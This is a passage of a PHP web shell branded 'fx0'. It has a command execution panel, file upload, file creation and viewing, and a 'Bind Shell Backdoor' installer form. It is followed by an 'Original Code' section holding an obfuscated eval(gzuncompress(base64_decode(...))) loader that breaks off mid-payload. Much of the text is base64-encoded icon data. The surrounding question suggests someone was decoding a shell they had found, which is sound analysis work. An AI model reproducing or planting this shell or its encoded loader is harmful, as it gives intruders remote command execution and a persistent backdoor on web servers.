"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
"Ow==",
"ext_doc"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
"ext_exe"=>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
"xhIAOw==",
"ext_h"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
"Wq/NknbbSgAAOw==",
"ext_hpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
"UqUagnbLdZa+YFcCADs=",
"ext_htaccess"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
"AAA7",
"ext_html"=>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
"ADs=",
"ext_jpg"=>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
"FxEAOw==",
"ext_js"=>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
"a00AjYYBbc/o9HjNniUAADs=",
"ext_lnk"=>
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
"ADs=",
"ext_log"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
"ext_php"=>
"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=",
"ext_pl"=>
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
$imgequals = array(
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  "ext_html"=>array("ext_html","ext_htm"),
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  "ext_lnk"=>array("ext_lnk","ext_url"),
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  "ext_doc"=>array("ext_doc","ext_dot"),
  "ext_js"=>array("ext_js","ext_vbs"),
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  "ext_wri"=>array("ext_wri","ext_rtf"),
  "ext_swf"=>array("ext_swf","ext_fla"),
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
  header("Content-type: image/gif");
  header("Cache-control: public");
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  header("Cache-control: max-age=".(60*60*24*7));
  header("Last-Modified: ".date("r",filemtime(__FILE__)));
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  if (empty($images[$img])) {$img = "small_unk";}
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  echo base64_decode($images[$img]);
}
else {
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  natsort($images);
  $k = array_keys($images);
  echo  "<center>";
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";}
  echo "</center>";
}
exit;
}
if ($x == "about") {
  echo "-=] fx0 [=-<br />You can download the shell from <a href=\"http://fx0.name/fx0.rar\">www.fx0.name</a> ";
}
if ($x == "shbd"){
  $msg = $_POST[\'backcconnmsg\'];
  $emsg = $_POST[\'backcconnmsge\'];
  echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
  Bind Port: <input type=\'text\' name=\'backconnectport\' value=\'5992\'>
  <input type=\'hidden\' name=\'use\' value=\'shbd\'>
  <input type=\'submit\' value=\'Install Backdoor\'></form>");
  echo("$msg");
  echo("$emsg");
  echo("</center>");
}
echo "</td></tr></table>
";
?>
<div  class=barheader2><b>.: COMMANDS PANEL :.</b></div>
<table class=mainpanel>
<?php
if (!$safemode) {
?>
<tr><td align=right>Command:</td>
<td><form method="POST">
    <input type=hidden name=x value="cmd">
    <input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
    <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
    </form>
</td></tr>
<tr><td align=right>Quick Commands:</td>
<td><form method="POST">
    <input type=hidden name=x value="cmd">
    <input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type=hidden name="cmd_txt" value="1">
    <select name="cmd">
    <?php
    foreach ($cmdaliases as $als) {
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
    }
    foreach ($cmdaliases2 as $als) {
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
    }
    ?>
    </select> -
    <input type=submit name=submit value="Execute">
    </form>
</td></tr>
<?php
}
?>
<tr><td align=right>Kernel Info:</td>
<td><form method="post" action="http://google.com/search">
    <input type="hidden" name="client" value="firefox-a">
    <input type="hidden" name="rls" value="org.mozilla:en-US:official">
    <input type="hidden" name="hl" value="en">
    <input type="hidden" name="hs" value="b7p">
    <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> -
    <input type=submit name="btnG" VALUE="Search">
    </form>
</td></tr>
<tr><td align=right>Upload:</td>
<td><form method="POST" enctype="multipart/form-data">
    <input type=hidden name=x value="upload">
    <input type=hidden name="miniform" value="1">
    <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
    </form>
</td></tr>
<tr><td align=right>Search:</td>
<td><form method="POST"><input type=hidden name=x value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;
    <input type=submit name=submit value="Search">
    </form>
    </td></tr>
<tr><td align=right>Make File:</td>
<td><form method="POST"><input type=hidden name=x value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
    <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>
    </form></td></tr>
<tr><td align=right>View File:</td>
<td><form method="POST"><input type=hidden name=x value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="View">
    </form></td></tr>
</table>
<div class=barheader2 colspan=2><font color=red>-=] fx0 [=-</font></div>
</body></html><?php chdir($lastdir); capriv8exit(); ?>'

Did this file decode correctly?

Original Code

eval("?>".gzuncompress(base64_decode("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